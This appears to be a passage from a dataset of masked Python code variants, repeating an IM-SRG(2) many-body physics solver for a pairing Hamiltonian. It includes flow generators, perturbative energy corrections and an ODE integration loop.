idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\n<function token>\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\n<function token>\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n",
"<import token>\n<function token>\n<function token>\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\n<function token>\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\n<function token>\n<function token>\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = 